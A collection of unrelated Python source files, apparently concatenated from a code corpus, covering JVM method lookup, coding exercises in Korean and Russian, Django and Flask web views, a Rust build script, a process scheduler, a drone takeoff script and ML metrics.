如果找不到对应方法,则抛出NoSuchMethodError异常,否则检查类D是否有权限访问该方法。
如果没有,则抛出IllegalAccessError异常。
:return:
"""
d = self.cp.get_class()
c = self.resolved_class()
if c.is_interface():
raise RuntimeError("java.lang.IncompatibleClassChangeError")
method = self.lookup_method(c, self.name, self.descriptor)
if method is None:
raise RuntimeError("java.lang.NoSuchMethodError")
if not method.is_accessible_to(d):
raise RuntimeError("java.lang.IllegalAccessError")
self.method = method
# 根据方法名和描述符查找方法
@staticmethod
def lookup_method(clazz, name, descriptor):
"""
先从C的继承层次中找,如果找不到,就去C的接口中找。
:param clazz:
:param name:
:param descriptor:
:return:
"""
method = MethodLookup.lookup_method_in_class(clazz, name, descriptor)
if method is None:
method = MethodLookup.lookup_method_in_interfaces(clazz.interfaces, name, descriptor)
return method
|
"""
문제:
- 배열의 크기 [ N ],
- 숫자가 더해지는 횟수[ M ]
- 그리고 K가 주어질 때 동빈이의 큰 수의 법칙에 따른 결과를 출력하시오.
- K는 [ 특정한 인덱스의 수가 연속해서 더해지는 횟수 ]
< 입력조건 >
- [ 첫째 줄 ]에 N(2<= n <= 1,000),
M(1<=M <= 10,000),
K(1<= K <= 10,000)의 자연수가 주어지며
[ 각 자연수는 ] [ 공백으로 구분 ]한다.
- [ 둘째 줄에 ] N개의 자연수가 주어진다. 각 자연수는 공백으로 구분한다
단, 각각의 자연수는 1이상 10,000 이하의 수로 주어진다.
- 입력으로 주어지는 [ K는 ] 항상 [ M보다 작거나 같다 ].
< 출력 조건 >
- 첫째 줄에 동빈이의 큰 수의 법칙에 따라 더해진 답을 출력한다.
< 입력 예시 > < 출력 예시 >
5 8 3 46
2 4 5 4 6
배열의 크기(N) = 5, 숫자가 더해지는 횟수(M) = 8,
특정한 인덱스의 수가 연속해서 더해지는 횟수(K) = 3
-----------------------------------------------------------------------------------------
< map 내장 함수 >
파이썬의 내장 함수인 map()는 [ 여러 개의 데이터를 ]
[ 한 번에 다른 형태로 변환 ]하기 위해서 사용됩니다.
따라서, 여러 개의 데이터를 담고 있는 list나 tuple을 대상으로 주로 사용하는 함수입니다.
"""
# "배열크기, 숫자가 더해지는 횟수, 특정한 인덱스의 수가 연속해서 더해지는 횟수를 입력"
N, M, K = map(int,input().split())
# N개의 자연수를 공백으로 구분하여 입력.
data = list(map(int,input().split()))
data.sort() # 입력받은 자연수들 [ 오름차순 정렬. ] --> 2 ,4, 4, 5, 6
first = data[N-1] # 가장 큰 수
second = data[N-2] # 두번째로 큰
result = 0 #
count = M / (K+1)
while True:
for i in range(K): #가장 큰 수를 K번 더하기 (특정한 인덱스 연속으로 더하기.)
if M == 0: # m 이 0이면 반복문 탈출.
break
result += first
M -= 1 # 더할 때마다 1씩 빼기
if M == 0: # m 이 0이면 반복문 탈출.
break
result += second # 2번째로 큰 수 더하기.
M -= 1 # 더할 때마다 1씩 빼기
print(result) # 최종 답안 출력.
|
from os import environ
benchmark = environ['BENCHMARK']
NVBITFI_HOME = environ['NVBITFI_HOME']
THRESHOLD_JOBS = int(environ['FAULTS'])
all_apps = {
'simple-faster-rcnn-pytorch': [
NVBITFI_HOME + '/test-apps/simple-faster-rcnn-pytorch', # workload directory
'simple-faster-rcnn-pytorch', # binary name
NVBITFI_HOME + '/test-apps/simple-faster-rcnn-pytorch/', # path to the binary file
1, # expected runtime
"" # additional parameters to the run.sh
],
'pytorch_vision_resnet': [
NVBITFI_HOME + '/test-apps/pytorch_vision_resnet', # workload directory
'pytorch_vision_resnet', # binary name
NVBITFI_HOME + '/test-apps/pytorch_vision_resnet/', # path to the binary file
1, # expected runtime
"" # additional parameters to the run.sh
],
'cudaTensorCoreGemm': [
NVBITFI_HOME + '/test-apps/cudaTensorCoreGemm', # workload directory
'cudaTensorCoreGemm', # binary name
NVBITFI_HOME + '/test-apps/cudaTensorCoreGemm/', # path to the binary file
1, # expected runtime
"" # additional parameters to the run.sh
],
}
apps = {benchmark : all_apps[benchmark]}
|
"""
Реализовать некий класс Matrix, у которого:
1. Есть собственный конструктор, который принимает в качестве аргумента - список списков,
копирует его (то есть при изменении списков, значения в экземпляре класса не должны меняться).
Элементы списков гарантированно числа, и не пустые.
2. Метод size без аргументов, который возвращает кортеж вида (число строк, число столбцов).
3. Метод transpose, транспонирующий матрицу и возвращающую результат (данный метод модифицирует
экземпляр класса Matrix)
4. На основе пункта 3 сделать метод класса create_transposed, который будет принимать на вход список списков,
как и в пункте 1, но при этом создавать сразу транспонированную матрицу.
https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D0%BD%D0%B8%D1%80%D0%
"""
class Matrix:
def __init__(self, some_list):
self.data_list = some_list.copy()
def size(self):
row = len(self.data_list)
col = len(self.data_list[0])
return row, col
def transpose(self):
t_matrix = [
[item[i] for item in self.data_list] for i in range(self.size()[1])
]
self.data_list = t_matrix
return self.data_list
@classmethod
def create_transposed(cls, int_list):
obj = cls(int_list)
obj.transpose()
return obj
if __name__ == '__main__':
my_list = [[1, 2, 9], [3, 4, 0], [5, 6, 4]]
t = Matrix(my_list)
t.transpose()
print(t.data_list)
t2 = Matrix.create_transposed(my_list)
print(t2.data_list)
|
from django.conf import settings
from django.shortcuts import redirect
from django.core.mail import send_mail
from django.shortcuts import render
import sys
from .forms import ContactForm, SignUpForm
from .models import SignUp
from django.views.generic import DetailView
from django.views.generic import CreateView, UpdateView
from django.contrib.auth.models import User
from .models import UserProfile, assure_user_profile_exists
from app.models import Gift
# Create your views here.
def home(request):
title = 'Sign Up Now'
form = SignUpForm(request.POST or None)
context = {
"title": title,
"form": form
}
if form.is_valid():
#form.save()
#print request.POST['email'] #not recommended
instance = form.save(commit=False)
full_name = form.cleaned_data.get("full_name")
if not full_name:
full_name = "New full name"
instance.full_name = full_name
# if not instance.full_name:
# instance.full_name = "Justin"
instance.save()
context = {
"title": "Thank you"
}
if request.user.is_authenticated() and request.user.is_staff:
#print(SignUp.objects.all())
# i = 1
# for instance in SignUp.objects.all():
# print(i)
# print(instance.full_name)
# i += 1
queryset = SignUp.objects.all().order_by('-timestamp') #.filter(full_name__iexact="Justin")
#print(SignUp.objects.all().order_by('-timestamp').filter(full_name__iexact="Justin").count())
context = {
"queryset": queryset
}
return render(request, "home.html", context)
def contact(request):
title = 'Contact Us'
title_align_center = True
form = ContactForm(request.POST or None)
if form.is_valid():
# for key, value in form.cleaned_data.iteritems():
# print key, value
# #print form.cleaned_data.get(key)
form_email = form.cleaned_data.get("email")
form_message = form.cleaned_data.get("message")
form_full_name = form.cleaned_data.get("full_name")
# print email, message, full_name
subject = 'Site contact form'
from_email = settings.EMAIL_HOST_USER
to_email = [from_email, 'youotheremail@email.com']
contact_message = "%s: %s via %s"%(
form_full_name,
form_message,
form_email)
some_html_message = """
<h1>hello</h1>
"""
send_mail(subject,
contact_message,
from_email,
to_email,
html_message=some_html_message,
fail_silently=True)
context = {
"form": form,
"title": title,
"title_align_center": title_align_center,
}
render(request, "sidebar.html", context)
return render(request, "forms.html", context)
def profile(request):
if request.user.is_authenticated():
gifts = Gift.objects.raw("SELECT * FROM app_gift WHERE app_gift.user = %s", [request.user.id])
context = {
'gifts' : gifts,
}
return render(request, "profile.html", context)
else:
return redirect('/')
def about(request):
return render(request, "about.html", {})
def overview(request):
return render(request, "overview.html", {})
class UserProfileDetail(DetailView):
model = UserProfile
class UserProfileUpdate(UpdateView):
model = UserProfile
fields = ('address','locality','phone_number','description','avatar')
#success_url = "/cmmods/complete-registration"
def get(self, request, *args, **kwargs):
#assure_user_profile_exists(kwargs['pk'=self.request.user.id])
if int(kwargs['pk']) != request.user.id:
return redirect('/')
else:
return (super(UserProfileUpdate, self).get(self, request, *args, **kwargs)) |
"""
ЗАДАНИЕ
--------------------------------------------------------------------------------
пользователь вводит 3 строки:
- строка для проверки (check_str)
- искомая строка (search_str)
- заменяемая строка (replace_str)
если в строке для проверки содержится искомая строка - заменить ее на
заменяемую строку и вернуть результат, если не содержатся, то вернуть "Ошибка!"
ПРИМЕРЫ
--------------------------------------------------------------------------------
- ('как у тебя дела', 'у тебя', 'твои') -> 'Как твои дела'
- ('что делаешь', 'ты', 'мы') -> 'Ошибка!'
"""
def replacer(check_str: str, search_str: str, replace_str: str) -> str:
"""Если search_str есть в check_str, то заменяет на replace_str,
если нет, то возвращает "Ошибка!"
:param check_str: строка для проверки
:type check_str: str
:param search_str: искомая строка
:type search_str: str
:param replace_str: строка для замены
:type replace_str: str
:return: измененная строка для проверки или строка "Ошибка!"
:rtype: str
"""
if check_str.find(search_str) != -1:
return check_str.replace(search_str, replace_str)
else:
return f'Ошибка! '
if __name__ == '__main__':
c_string = input('Введите строку для проверки: ')
s_string = input('Введите строку для поиска: ')
r_string = input('Введите строку для замены: ')
print(f'Результат: {replacer(c_string, s_string, r_string)}')
|
from flask import Flask, render_template,redirect,url_for,request
from flask_bootstrap import Bootstrap
from flask_sqlalchemy import SQLAlchemy
from aplicacion import config
from aplicacion.forms import formCategoria,formArticulo
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config.from_object(config)
Bootstrap(app)
db = SQLAlchemy(app)
from aplicacion.models import Articulos,Categorias
@app.route('/')
@app.route('/categoria/<id>')
def inicio(id='0'):
categoria=Categorias.query.get(id)
if id=='0':
articulos=Articulos.query.all()
else:
articulos=Articulos.query.filter_by(CategoriaId=id)
categorias=Categorias.query.all()
return render_template("inicio.html",articulos=articulos,categorias=categorias,categoria=categoria)
@app.route('/categorias')
def categorias():
categorias=Categorias.query.all()
return render_template("categorias.html",categorias=categorias)
@app.route('/categorias/new', methods=["get","post"])
def categorias_new():
form=formCategoria(request.form)
if form.validate_on_submit():
cat=Categorias(nombre=form.nombre.data)
db.session.add(cat)
db.session.commit()
return redirect(url_for("categorias"))
else:
return render_template("categorias_new.html",form=form)
@app.route('/articulos/new', methods=["get","post"])
def articulos_new():
form=formArticulo()
categorias=[(c.id, c.nombre) for c in Categorias.query.all()[1:]]
form.CategoriaId.choices = categorias
if form.validate_on_submit():
try:
f = form.photo.data
nombre_fichero=secure_filename(f.filename)
f.save(app.root_path+"/static/upload/"+nombre_fichero)
except:
nombre_fichero=""
art=Articulos()
form.populate_obj(art)
art.image=nombre_fichero
db.session.add(art)
db.session.commit()
return redirect(url_for("inicio"))
else:
return render_template("articulos_new.html",form=form)
@app.errorhandler(404)
def page_not_found(error):
return render_template("error.html",error="Página no encontrada..."), 404
|
#!/usr/bin/env python
# Copyright 2017 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import os
import string
import subprocess
import sys
BUILD_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path += [os.path.join(BUILD_PATH, "third_party/pytoml-0.1.11")]
import pytoml as toml
# Creates the directory containing the given file.
def create_base_directory(file):
path = os.path.dirname(file)
try:
os.makedirs(path)
except os.error:
# Already existed.
pass
# Extracts a (path, name) tuple from the given build label.
def get_target(label):
if not label.startswith("//"):
raise Exception("Expected label to start with //, got %s" % label)
base = label[2:]
separator_index = string.rfind(base, ":")
if separator_index >= 0:
name = base[separator_index+1:]
path = base[:separator_index]
else:
name = base[base.rfind("/")+1:]
path = base
return path, name
# Writes a cargo config file.
def write_cargo_config(path, vendor_directory):
create_base_directory(path)
config = {
"source": {
"crates-io": {
"registry": "https://github.com/rust-lang/crates.io-index",
"replace-with": "vendored-sources"
},
"vendored-sources": {
"directory": vendor_directory
}
}
}
with open(path, "w") as config_file:
toml.dump(config_file, config)
# Fixes the target path in the given depfile.
def fix_depfile(depfile_path, base_path):
with open(depfile_path, "r+") as depfile:
content = depfile.read()
content_split = content.split(': ', 1)
target_path = content_split[0]
adjusted_target_path = os.path.relpath(target_path, start=base_path)
new_content = "%s: %s" % (adjusted_target_path, content_split[1])
depfile.seek(0)
depfile.write(new_content)
depfile.truncate()
def main():
parser = argparse.ArgumentParser("Compiles a Rust crate")
parser.add_argument("--type",
help="Type of artifact to produce",
required=True,
choices=["lib", "bin"])
parser.add_argument("--name",
help="Name of the artifact to produce",
required=True)
parser.add_argument("--out-dir",
help="Path to the output directory",
required=True)
parser.add_argument("--gen-dir",
help="Path to the target's generated source directory",
required=True)
parser.add_argument("--root-out-dir",
help="Path to the root output directory",
required=True)
parser.add_argument("--root-gen-dir",
help="Path to the root gen directory",
required=True)
parser.add_argument("--crate-root",
help="Path to the crate root",
required=True)
parser.add_argument("--cargo",
help="Path to the cargo tool",
required=True)
parser.add_argument("--linker",
help="Path to the Rust linker",
required=False)
parser.add_argument("--rustc",
help="Path to the rustc binary",
required=True)
parser.add_argument("--target-triple",
help="Compilation target",
required=True)
parser.add_argument("--release",
help="Build in release mode",
action="store_true")
parser.add_argument("--label",
help="Label of the target to build",
required=True)
parser.add_argument("--cmake-dir",
help="Path to the directory containing cmake",
required=True)
parser.add_argument("--vendor-directory",
help="Path to the vendored crates",
required=True)
parser.add_argument("--deps",
help="List of dependencies",
nargs="*")
args = parser.parse_args()
env = os.environ.copy()
if args.linker is not None:
env["CARGO_TARGET_%s_LINKER" % args.target_triple.replace("-", "_").upper()] = args.linker
env["CARGO_TARGET_DIR"] = args.out_dir
env["RUSTC"] = args.rustc
env["PATH"] = "%s:%s" % (env["PATH"], args.cmake_dir)
# Generate Cargo.toml.
original_manifest = os.path.join(args.crate_root, "Cargo.toml")
generated_manifest = os.path.join(args.gen_dir, "Cargo.toml")
create_base_directory(generated_manifest)
package_name = None
with open(original_manifest, "r") as manifest:
config = toml.load(manifest)
package_name = config["package"]["name"]
default_name = package_name.replace("-", "_")
# Update the path to the sources.
base = None
if args.type == "bin":
if "bin" not in config:
# Use the defaults.
config["bin"] = [{
"name": package_name,
"path": "src/main.rs"
}]
for bin in config["bin"]:
if "name" in bin and bin["name"] == args.name:
base = bin
break
if base is None:
raise Exception("Could not find binary named %s" % args.name)
if args.type == "lib":
if "lib" not in config:
# Use the defaults.
config["lib"] = {
"name": default_name,
"path": "src/lib.rs"
}
lib = config["lib"]
if "name" not in lib or lib["name"] != args.name:
raise Exception("Could not find library named %s" % args.name)
base = lib
# Rewrite the artifact's entry point so that it can be located by
# reading the generated manifest file.
if "path" not in base:
raise Exception("Need to specify entry point for %s" % args.name)
relative_path = base["path"]
new_path = os.path.join(args.crate_root, relative_path)
base["path"] = new_path
# Add or edit dependency sections for local deps.
if "dependencies" not in config:
config["dependencies"] = {}
dependencies = config["dependencies"]
for dep in args.deps:
path, name = get_target(dep)
base_path = os.path.join(args.root_gen_dir, path, "%s.rust" % name)
# Read the name of the Rust artifact.
artifact_path = os.path.join(base_path, "%s.rust_name" % name)
with open(artifact_path, "r") as artifact_file:
artifact_name = artifact_file.read()
if artifact_name not in dependencies:
dependencies[artifact_name] = {}
dependencies[artifact_name]["path"] = base_path
# Write the complete manifest.
with open(generated_manifest, "w") as generated_config:
toml.dump(generated_config, config)
if args.type == "lib":
# Write a file mapping target name to Rust artifact name.
# This will be used to set up dependencies.
_, target_name = get_target(args.label)
# Note: gen_dir already contains the "target.rust" directory.
name_path = os.path.join(args.gen_dir, "%s.rust_name" % target_name)
create_base_directory(name_path)
with open(name_path, "w") as name_file:
name_file.write(package_name)
# Write a config file to allow cargo to find the vendored crates.
config_path = os.path.join(args.gen_dir, ".cargo", "config")
write_cargo_config(config_path, args.vendor_directory)
if args.type == "lib":
# Since the generated .rlib artifact won't actually be used (for now),
# just do syntax checking and avoid generating it.
build_command = "check"
else:
build_command = "build"
call_args = [
args.cargo,
build_command,
"--target=%s" % args.target_triple,
# Unfortunately, this option also freezes the lockfile meaning it cannot
# be generated.
# TODO(pylaligand): find a way to disable network access only or remove.
# "--frozen", # Prohibit network access.
"-q", # Silence stdout.
]
if args.release:
call_args.append("--release")
if args.type == "lib":
call_args.append("--lib")
if args.type == "bin":
call_args.extend(["--bin", args.name])
return_code = subprocess.call(call_args, env=env, cwd=args.gen_dir)
if return_code != 0:
return return_code
# Fix the depfile manually until a flag gets added to cargo to tweak the
# base path for targets.
# Note: out_dir already contains the "target.rust" directory.
output_name = args.name
if args.type == "lib":
output_name = "lib%s" % args.name
build_type = "release" if args.release else "debug"
depfile_path = os.path.join(args.out_dir, args.target_triple, build_type,
"%s.d" % output_name)
fix_depfile(depfile_path, args.root_out_dir)
return 0
if __name__ == '__main__':
sys.exit(main())
|
# =========================================================================================
# Copyright 2016 Community Information Online Consortium (CIOC) and KCL Software Solutions Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# =========================================================================================
import logging
from urllib.parse import urljoin
from pyramid.view import view_config
from pyramid.httpexceptions import HTTPNotFound, HTTPFound
from cioc.core import viewbase
template = "cioc.web.gbl:templates/pages.mak"
log = logging.getLogger(__name__)
@view_config(route_name="gbl_go")
class GoView(viewbase.ViewBase):
def __init__(self, request):
super().__init__(request, require_login=False)
def __call__(self):
request = self.request
with request.connmgr.get_connection() as conn:
cursor = conn.execute(
"""EXEC sp_GBL_Redirect_s_Slug ?, ?""",
request.dboptions.MemberID,
request.matchdict["slug"],
)
redirect = cursor.fetchone()
if not redirect:
return HTTPNotFound()
url = urljoin(request.url, redirect.url)
return HTTPFound(location=url)
|
import matplotlib.pyplot as plt
plt.style.use('fivethirtyeight')
def schedulingProcess( process_data):
start_time = []
exit_time = []
s_time = 0
process_data.sort(key=lambda x: x[1])
'''
Sort processes according to the Arrival Time
'''
for i in range(len(process_data)):
ready_queue = []
temp = []
normal_queue = []
for j in range(len(process_data)):
if (process_data[j][1] <= s_time) and (process_data[j][3] == 0):
temp.extend([process_data[j][0], process_data[j][1], process_data[j][2]])
ready_queue.append(temp)
temp = []
elif process_data[j][3] == 0:
temp.extend([process_data[j][0], process_data[j][1], process_data[j][2]])
normal_queue.append(temp)
temp = []
if len(ready_queue) != 0:
ready_queue.sort(key=lambda x: x[2])
'''
Sort the processes according to the Burst Time
'''
start_time.append(s_time)
s_time = s_time + ready_queue[0][2]
e_time = s_time
exit_time.append(e_time)
for k in range(len(process_data)):
if process_data[k][0] == ready_queue[0][0]:
break
process_data[k][3] = 1
process_data[k].append(e_time)
elif len(ready_queue) == 0:
if s_time < normal_queue[0][1]:
s_time = normal_queue[0][1]
start_time.append(s_time)
s_time = s_time + normal_queue[0][2]
e_time = s_time
exit_time.append(e_time)
for k in range(len(process_data)):
if process_data[k][0] == normal_queue[0][0]:
break
process_data[k][3] = 1
process_data[k].append(e_time)
calculateTurnaroundTime( process_data)
calculateWaitingTime( process_data)
waiting_time = [p[6] for p in process_data]
turn_around_time = [p[5] for p in process_data]
compl_time = [p[4] for p in process_data]
return waiting_time,turn_around_time,compl_time
def calculateTurnaroundTime( process_data):
total_turnaround_time = 0
for i in range(len(process_data)):
turnaround_time = process_data[i][4] - process_data[i][1]
'''
turnaround_time = completion_time - arrival_time
'''
total_turnaround_time = total_turnaround_time + turnaround_time
process_data[i].append(turnaround_time)
def calculateWaitingTime( process_data):
total_waiting_time = 0
for i in range(len(process_data)):
waiting_time = process_data[i][5] - process_data[i][2]
'''
waiting_time = turnaround_time - burst_time
'''
total_waiting_time = total_waiting_time + waiting_time
process_data[i].append(waiting_time)
def printData( process_data):
average_turnaround_time = sum(p[5] for p in process_data)/len(process_data)
average_waiting_time = sum(p[6] for p in process_data)/len(process_data)
process_data.sort(key=lambda x: x[0])
'''
Sort processes according to the Process ID
'''
print("\nProcess_ID\t\t\tArrival_Time\t\t\tBurst_Time\t\t\tCompleted\t\t\tCompletion_Time\t\t\tTurnaround_Time\t\t\tWaiting_Time")
for i in range(len(process_data)):
for j in range(len(process_data[i])):
print(process_data[i][j], end=" ")
print()
print(f'Average Turnaround Time: {average_turnaround_time}')
print(f'Average Waiting Time: {average_waiting_time}')
print("Throughput = ",len(process_data)/max([p[4] for p in process_data]))
def plot_graph( process_data):
plt.plot([p[0] for p in process_data],[po[4] for po in process_data],label = 'Completion Time')
plt.plot([p[0] for p in process_data],[po[5] for po in process_data],label = 'Turnaround Time')
plt.plot([p[0] for p in process_data],[po[6] for po in process_data],label = 'Waiting TIme')
plt.title("Shortest Job First Algo - Non Preemptive")
plt.xlabel("Processes")
plt.ylabel("Time Units")
plt.legend()
plt.savefig('./output/SJF_NP_output.png')
plt.show()
def sjf_np():
process_data = []
#change dis
with open('./inputs/SJF_NP.txt','r') as f:
f.readline()
for line in f.readlines():
temporary = []
process , burst , arrival = (line.split(" "))
temporary.extend([process, int(arrival), int(burst), 0])
process_data.append(temporary)
schedulingProcess(process_data)
printData( process_data)
plot_graph(process_data)
plt.close(fig='all')
if __name__ == '__main__':
sjf_np()
|
#!/usr/bin/env python
import rospy
from mavros_msgs.srv import SetMode
from mavros_msgs.srv import CommandBool
from mavros_msgs.srv import CommandTOL
import time
rospy.loginfo("Setting up ros node")
rospy.init_node('mavros_takeoff_python')
rospy.loginfo("Setting up rate")
rate = rospy.Rate(10)
def start():
setMode()
arming()
takeoff()
#landing()
def setMode():
# Set Mode
rospy.loginfo("Setting Mode")
rospy.wait_for_service('/mavros/set_mode')
try:
change_mode = rospy.ServiceProxy('/mavros/set_mode', SetMode)
response = change_mode(custom_mode="GUIDED")
rospy.loginfo(response)
except rospy.ServiceException as e:
rospy.loginfo("Set mode failed: %s" %e)
def arming():
# Arm
rospy.loginfo("Arming")
rospy.wait_for_service('/mavros/cmd/arming')
try:
arming_cl = rospy.ServiceProxy('/mavros/cmd/arming', CommandBool)
response = arming_cl(value = True)
rospy.loginfo("my presonal response "+ str(response))
except rospy.ServiceException as e:
rospy.loginfo("Arming failed: %s" %e)
def takeoff():
# Takeoff
rospy.loginfo("Taking off")
rospy.wait_for_service('/mavros/cmd/takeoff')
try:
takeoff_cl = rospy.ServiceProxy('/mavros/cmd/takeoff', CommandTOL)
response = takeoff_cl(altitude=10, latitude=0, longitude=0, min_pitch=0, yaw=0)
rospy.loginfo(response)
except rospy.ServiceException as e:
rospy.loginfo("Takeoff failed: %s" %e)
rospy.loginfo("Hovering...")
time.sleep(5)
def landing():
# Land
rospy.loginfo("Landing")
rospy.wait_for_service('/mavros/cmd/land')
try:
takeoff_cl = rospy.ServiceProxy('/mavros/cmd/land', CommandTOL)
response = takeoff_cl(altitude=10, latitude=0, longitude=0, min_pitch=0, yaw=0)
rospy.loginfo(response)
except rospy.ServiceException as e:
rospy.loginfo("Landing failed: %s" %e)
# Disarm
rospy.loginfo("Disarming")
rospy.wait_for_service('/mavros/cmd/arming')
try:
arming_cl = rospy.ServiceProxy('/mavros/cmd/arming', CommandBool)
response = arming_cl(value = False)
rospy.loginfo(response)
except rospy.ServiceException as e:
rospy.loginfo("Disarming failed: %s" %e)
if __name__ == '__main__':
try:
start()
except rospy.ROSInterruptException:
pass
|
r"""
.. _ref_ex_composite:
Creating a Composite Section
----------------------------
Create a section of mixed materials.
The following example demonstrates how to create a composite cross-section by assigning
different material properties to various regions of the mesh. A steel 310UB40.4 is modelled
with a 50Dx600W timber panel placed on its top flange.
The geometry and mesh are plotted, and the mesh information printed to the terminal
before the analysis is carried out. All types of cross-section analyses are carried
out, with an axial force, bending moment and shear force applied during the stress
analysis. Once the analysis is complete, the cross-section properties are printed
to the terminal and a plot of the centroids and cross-section stresses generated.
"""
# sphinx_gallery_thumbnail_number = 2
import sectionproperties.pre.library.primitive_sections as sections
import sectionproperties.pre.library.steel_sections as steel_sections
from sectionproperties.pre.geometry import CompoundGeometry
from sectionproperties.pre.pre import Material
from sectionproperties.analysis.section import Section
# %%
# Create material properties
steel = Material(
name="Steel",
elastic_modulus=200e3,
poissons_ratio=0.3,
yield_strength=500,
density=8.05e-6,
color="grey",
)
timber = Material(
name="Timber",
elastic_modulus=8e3,
poissons_ratio=0.35,
yield_strength=20,
density=0.78e-6,
color="burlywood",
)
# %%
# Create 310UB40.4
ub = steel_sections.i_section(
d=304, b=165, t_f=10.2, t_w=6.1, r=11.4, n_r=8, material=steel
)
# %%
# Create timber panel on top of the UB
panel = sections.rectangular_section(d=50, b=600, material=timber)
panel = panel.align_center(ub).align_to(ub, on="top")
# Create intermediate nodes in panel to match nodes in ub
panel = (panel - ub) | panel
# %%
# Merge the two sections into one geometry object
section_geometry = CompoundGeometry([ub, panel])
# %%
# Create a mesh and a Section object. For the mesh use a mesh size of 5 for
# the UB, 20 for the panel
section_geometry.create_mesh(mesh_sizes=[5, 20])
comp_section = Section(section_geometry, time_info=True)
comp_section.display_mesh_info() # display the mesh information
# %%
# Plot the mesh with coloured materials and a line transparency of 0.6
comp_section.plot_mesh(materials=True, alpha=0.6)
# %%
# Perform a geometric, warping and plastic analysis
comp_section.calculate_geometric_properties()
comp_section.calculate_warping_properties()
comp_section.calculate_plastic_properties(verbose=True)
# %%
# Perform a stress analysis with N = 100 kN, Mxx = 120 kN.m and Vy = 75 kN
stress_post = comp_section.calculate_stress(N=-100e3, Mxx=-120e6, Vy=-75e3)
# %%
# Print the results to the terminal
comp_section.display_results()
# %%
# Plot the centroids
comp_section.plot_centroids()
# %%
# Plot the axial stress
stress_post.plot_stress_n_zz(pause=False)
# %%
# Plot the bending stress
stress_post.plot_stress_m_zz(pause=False)
# %%
# Plot the shear stress
stress_post.plot_stress_v_zxy()
|
import uuid
from django.core.paginator import Paginator
from django.http import HttpResponse
from django.shortcuts import render
from uploadapp.models import User
import os.path
# Create your views here.
# index 视图函数
def index(request):
return render(request,'uploadapp/index.html')
# 提交 逻辑函数
def form_logic(request):
name = request.POST.get('username')
age = request.POST.get('userage')
birth = request.POST.get('userdate')
# 针对文件 接收方式
file = request.FILES.get('userfile')
# uuid universally unique identifier 全球唯一标识符
rst = str(uuid.uuid4()) + os.path.splitext(file.name)[1]
# print(str(rst))
# 重命名
# 当前 文件 1.jpg字符串 splitext()
file.name = rst
# print(os.path.splitext(file.name)) # ('2', '.jpg')
print(name,age,birth,file)
# 数据 添加到数据库表
User.objects.create(name=name,age=age,birthday=birth,headpic=file)
return HttpResponse('接收成功')
# query 视图函数
def query(request):
# 回传 user表数据
number = request.GET.get('page')
if number is None:
number = 1
users = User.objects.all()
pagntor = Paginator(users,per_page=3)
# print(pagntor.count) # 7 当前数据总条目
# print(pagntor.num_pages) # 3 分页 总页数
# print(pagntor.page_range) # range(1,4) 1 2 3
print(pagntor.page(number)) #返回值:当前某页对象
pg = pagntor.page(number)
print(pg.object_list) # 返回值: 当前页上所有的model对象 queryset
# # <QuerySet [<User: User object (8)>, <User: User object (9)>, <User: User object (10)>]>
# print(pg.number) # 1 当前页码
# print(pg.paginator) # Paginator object
# 方法
# print(pg.has_next()) # True
# print(pg.has_previous()) # True
# print(pg.has_other_pages()) # True
# print(pg.next_page_number()) # 3
# print(pg.previous_page_number()) # 1
print(pg.start_index()) # 1 3条数据 4 7
print(pg.end_index()) # 3 6 7
return render(request,'uploadapp/query.html',{'page':pg}) |
##Local Metrics implementation .
##https://www.kaggle.com/corochann/bengali-seresnext-training-with-pytorch
import numpy as np
import sklearn.metrics
import torch
def macro_recall(pred_y, y, n_grapheme=168, n_vowel=11, n_consonant=7):
pred_y = torch.split(pred_y, [n_grapheme, n_vowel, n_consonant], dim=1)
pred_labels = [torch.argmax(py, dim=1).cpu().numpy() for py in pred_y]
y = y.cpu().numpy()
# pred_y = [p.cpu().numpy() for p in pred_y]
recall_grapheme = sklearn.metrics.recall_score(pred_labels[0], y[:, 0], average='macro')
recall_vowel = sklearn.metrics.recall_score(pred_labels[1], y[:, 1], average='macro')
recall_consonant = sklearn.metrics.recall_score(pred_labels[2], y[:, 2], average='macro')
scores = [recall_grapheme, recall_vowel, recall_consonant]
final_score = np.average(scores, weights=[2, 1, 1])
# print(f'recall: grapheme {recall_grapheme}, vowel {recall_vowel}, consonant {recall_consonant}, '
# f'total {final_score}, y {y.shape}')
return final_score
def macro_recall_multi(pred_graphemes, true_graphemes, pred_vowels, true_vowels, pred_consonants, true_consonants,
n_grapheme=168, n_vowel=11, n_consonant=7):
# pred_y = torch.split(pred_y, [n_grapheme], dim=1)
pred_label_graphemes = torch.argmax(pred_graphemes, dim=1).cpu().numpy()
true_label_graphemes = true_graphemes.cpu().numpy()
pred_label_vowels = torch.argmax(pred_vowels, dim=1).cpu().numpy()
true_label_vowels = true_vowels.cpu().numpy()
pred_label_consonants = torch.argmax(pred_consonants, dim=1).cpu().numpy()
true_label_consonants = true_consonants.cpu().numpy()
# pred_y = [p.cpu().numpy() for p in pred_y]
recall_grapheme = sklearn.metrics.recall_score(pred_label_graphemes, true_label_graphemes, average='macro')
recall_vowel = sklearn.metrics.recall_score(pred_label_vowels, true_label_vowels, average='macro')
recall_consonant = sklearn.metrics.recall_score(pred_label_consonants, true_label_consonants, average='macro')
scores = [recall_grapheme, recall_vowel, recall_consonant]
final_score = np.average(scores, weights=[2, 1, 1])
# print(f'recall: grapheme {recall_grapheme}, vowel {recall_vowel}, consonant {recall_consonant}, '
# f'total {final_score}')
return final_score, recall_grapheme, recall_vowel, recall_consonant
def macro_recall_multi_mixup(pred_graphemes, true_graphemes1, true_graphemes2, alpha_graphemes, pred_vowels, true_vowels1, true_vowels2, alpha_vowels, pred_consonants,true_consonants1, true_consonants2, alpha_consonants, n_grapheme=168, n_vowel=11, n_consonant=7):
# pred_y = torch.split(pred_y, [n_grapheme], dim=1)
pred_label_graphemes = torch.argmax(pred_graphemes, dim=1).cpu().numpy()
true_label_graphemes1 = true_graphemes1.cpu().numpy()
true_label_graphemes2 = true_graphemes2.cpu().numpy()
